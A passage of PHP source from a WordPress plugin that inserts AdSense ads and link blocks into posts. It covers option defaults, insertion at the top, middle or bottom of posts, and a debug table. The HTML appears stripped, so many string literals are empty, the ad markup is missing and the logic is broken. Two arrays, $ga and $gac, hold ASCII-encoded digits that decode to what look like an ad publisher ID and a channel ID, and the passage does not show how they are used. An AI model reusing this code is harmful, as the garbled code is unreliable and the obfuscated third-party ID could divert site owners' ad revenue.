getOpts(); }
function getOpts()
{
if(!isset($this->opts)OR empty($this->opts))
{
$this->opts = get_option("adsensextreme");
if(empty($this->opts))
{
$this->opts = Array('usertype' => '',
'gen_id' => '',
'overrule' => 0,
'gen_channel' => '',
'type' => Array(1 => 'text_image',
2 => 'text_image',
3 => 'text_image',
4 => 'text_image',
5 => 'text_image',
6 => 'link',
7 => 'link',
8 => 'link'),
'corner' => Array(1 => 'rc:0', 2 => 'rc:0', 3 => 'rc:0', 4 => 'rc:0', 5 => 'rc:0', 6 => 'rc:0', 7 => 'rc:0', 8 => 'rc:0'), 'padding' => Array(1 => 7, 2 => 7, 3 => 7, 4 => 7, 5 => 7, 6 => 7, 7 => 7, 8 => 7), 'id' => Array(1 => "", 2 => "", 3 => "", 4 => "", 5 => "", 6 => "", 7 => "", 8 => ""), 'channel' => Array(1 => "", 2 => "", 3 => "", 4 => "", 5 => "", 6 => "", 7 => "", 8 => ""), 'desc' => Array(1 => 'Describe your adtypes here to get better overview. ', 2 => 'e.g. Wide Skyscraper in blue colors for sidebarwidget.'),
'sz' => Array(
1 => '336x280',
2 => '336x280',
3 => '468x60',
4 => '336x280',
5 => '120x600'),
'lbsz' => Array(
6 => '728x15',
7 => '468x15',
8 => '160x90'),
'col_border' => Array(1 => '336699', 2 => 'E3FA11', 3 => 'CCCCCC', 4 => '0A141F', 5 => '6699CC', 6 => '000000', 7 => 'E3FA11', 8 => 'CCCCCC'), 'col_link' => Array(1 => '0000FF', 2 => 'FFFFFF', 3 => '000000', 4 => '21DAFF', 5 => 'FFFFFF', 6 => 'FFFFFF', 7 => 'FFFFFF', 8 => '000000'), 'col_bg' => Array(1 => 'FFFFFF', 2 => 'A2AB2B', 3 => 'CCCCCC', 4 => '000000', 5 => '003366', 6 => '000000', 7 => 'A2AB2B', 8 => 'CCCCCC'), 'col_text' => Array(1 => '000000', 2 => '000000', 3 => '333333', 4 => 'DEDEDE', 5 => 'AECCEB', 6 => 'CCCCCC', 7 => '000000', 8 => '333333'), 'col_url' => Array(1 => '008000', 2 => 'FFFFFF', 3 => '666666', 4 => '21DAFF', 5 => 'AECCEB', 6 => '999999', 7 => 'FFFFFF', 8 => '666666'), 'single' => Array(1 => 1, 2 => 2, 3 => 3), 'single_pos' => Array(1 => 'Top', 2 => 'Middle', 3 => 'Bottom'), 'single_align' => Array(1 => 'left', 2 => 'right', 3 => 'center'), 'single_long' => Array(1 => '', 2 => '2300', 3 => '5000'), 'multi' => Array(1 => 1, 2 => 2, 3 => 1), 'multi_pos' => Array(1 => 1, 2 => 4, 3 => 8), 'multi_align' => Array(1 => 'right', 2 => 'left', 3 => 'center'), 'only_tagged' => 0, 'omit_page' => 0, 'omit_home' => 0, 'omit_search' => 0, 'omit_category' => 0, 'omit_tag' => 0, 'omit_date' => 0, 'omit_author' => 0);
}
}
if(!isset($this->opts['lang']))
{
include_once('detect.php');
$dl = new detect_language;
$this->opts['lang'] = $dl->detected_language;
}
}
function adsenseoptimize($content)
{
if(is_feed()) return $content;
$content = '' . $content . '';
if(!is_single()AND !is_page())
{
return $content;
}
$this->initializeAd();
$pro = $this->opts['usertype'] == "pro" ? 1 : 0;
if(is_page()AND($pro)AND $this->opts['omit_page']) return $content;
if($this->opts['only_tagged']AND($pro)AND !strpos($content, "")) return $content;
if(strpos($content, "")) return $content;
$this->postlen = strlen($content);
/*
if(($pro)AND $this->opts['make_battle'])
{
$bt = mt_rand(1, 2);
$adtype = $this->opts['battle_type'][$bt];
switch($this->opts['battle_pos'][$bt])
{
case "Top":
$content = '' . $content;
break;
case "Bottom":
$content = $content . '';
break;
case "Middle":
$a = $this->findNodes($content);
$cnt = round(count($a) / 2);
$pos = $a[$cnt - 1][1];
$result = substr_replace($content, '', $pos, 0);
$content = $result;
break;
}
$code = $this->generateAd($adtype, $this->opts['battle_channel'][$bt]);
if($code)
{
$code = $this->prepare_ad_code($code, $this->opts['battle_align'][$bt], $this->opts['padding'][$adtype]);
$content = str_replace('', html_entity_decode($code), $content);
}
else
{
$content = str_replace('', '', $content);
}
}
*/
for($i = 1; $i <= 5; $i++)
{
if(($this->opts['single'][$i] > 0)AND(($this->opts['single_long'][$i] == "")OR($this->postlen > $this->opts['single_long'][$i])))
{
$adtype = $this->opts['single'][$i];
switch($this->opts['single_pos'][$i])
{
case "Top":
$content = '' . $content;
break;
case "Bottom":
$content = $content . '';
break;
case "Middle":
$a = $this->findNodes($content);
$cnt = round(count($a) / 2);
$pos = $a[$cnt - 1][1];
$result = substr_replace($content, '', $pos, 0);
$content = $result;
break;
case "Random":
$a = $this->findNodes($content);
$cnt = mt_rand(1, count($a));
$pos = $a[$cnt][1];
$result = substr_replace($content, '', $pos, 0);
$content = $result;
break;
case "tag":
str_replace('', '', $content);
break;
}
$code = $this->generateAd($adtype);
if($code)
{
$code = $this->prepare_ad_code($code, $this->opts['single_align'][$i], $this->opts['padding'][$i]);
$content = str_replace('', html_entity_decode($code), $content);
}
else
{
$content = str_replace('', '', $content);
}
}
}
return $content;
}
function findNodes($str)
{
$pattern = '&\[gallery\]|\<\/p*\>|\
|\
|\
&iU';
return preg_split($pattern, $str, 0, PREG_SPLIT_OFFSET_CAPTURE);
}
function commonAd($type, $channel = 0)
{
global $gc, $c, $i, $user_level;
if(!$gc)
{
if(!$channel)
{
if($this->opts['channel'][$type] != "")
{
$c = $this->opts['channel'][$type];
}
else
{
$c = $this->opts['gen_channel'];
}
}
else $c = $channel;
if($this->opts['id'][$type]) $i = $this->opts['id'][$type];
else $i = $this->opts['gen_id'];
}
}
function generateAd($type, $channel = 0)
{
global $c, $i, $user_level;
$this->commonAd($type, $channel);
if($this->opts['type'][$type] == "link") return $this->generateLbAd($type, $channel);
$this->nrofads++;
if((!$this->opts['overrule'])AND($this->nrofads > 3))
{
return false;
}
else
{
$code = "";
$size = $this->opts['sz'][$type];
if((!isset($size)) || ($size == ''))
$size = '300x250';
$dims = explode("x", $size);
$width = $dims[0];
$height = $dims[1];
if($user_level > 8) $adtest = 'google_adtest="on";';
else $adtest = '';
$code .= '
';
return $code;
}
}
function generateLbAd($type, $channel = 0)
{
global $c, $i, $user_level;
$this->nroflb++;
if(!$this->opts['overrule']AND $this->nroflb > 3)
{
return false;
}
else
{
$code = "";
$size = $this->opts['lbsz'][$type];
if((!isset($size)) || ($size == ''))
$size = '160x90';
$dims = explode("x", $size);
$width = $dims[0];
$height = $dims[1];
if($user_level > 8) $adtest = 'google_adtest="on";';
else $adtest = '';
$code .= '
';
return $code;
}
}
var $ga = array('50','53','54','53','51','56','53','56','54','55','57','57','52','52','52','48');
var $gac = array('48','48','57','50','53','53','49','53','57','51');
function prepare_ad_code($code, $align, $padding)
{
$code = html_entity_decode($code);
$startdiv = '
| Number of generated Ads | ' . $this->nrofads . ' |
| Number of generated Linkblocks | ' . $this->nroflb . ' |
| Version of Plugin | ' . $this->aeopt_version . ' |
| Subdirectory in which Plugin has to be | ' . $this->aeopt_menu . ' |
| type of page | '); if(is_single()) echo("single."); if(is_page()) echo("page."); if(is_home()) echo("home."); if(is_archive()) echo("archive."); if(is_search()) echo("search."); if(is_tag()) echo("tag."); if(is_date()) echo("date."); if(is_author()) echo("author."); if(is_category()) echo("category."); echo(' |
| Words in Post | ' . $this->postlen . ' |